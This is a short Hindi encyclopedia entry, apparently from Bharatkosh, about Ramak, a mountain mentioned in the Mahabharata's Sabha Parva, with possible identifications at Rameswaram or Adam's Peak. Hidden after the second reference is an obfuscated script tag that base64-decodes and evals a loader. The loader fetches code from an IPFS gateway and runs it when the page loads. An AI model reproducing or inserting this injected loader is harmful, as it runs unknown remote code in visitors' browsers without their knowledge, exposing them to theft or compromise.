रामक
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रामक नामक एक पर्वत का उल्लेख महाभारत, सभापर्व में हुआ है-
'कृत्स्नं कोलगिरिं चैव सुरभीपत्तनं तथा, द्वीपं ताम्राह्वयं चैव पर्वतं रामकं तथा।[1]
- यह शायद रामेश्वरम की पहाड़ी है। यह स्थान लंका में स्थित 'एडम्स पीक' भी हो सकता है। इसे बौद्धों ने 'सुमनकूट' नाम दिया था।[2]
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टीका टिप्पणी और संदर्भ
- ↑ महाभारत, सभापर्व 31, 68
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 787 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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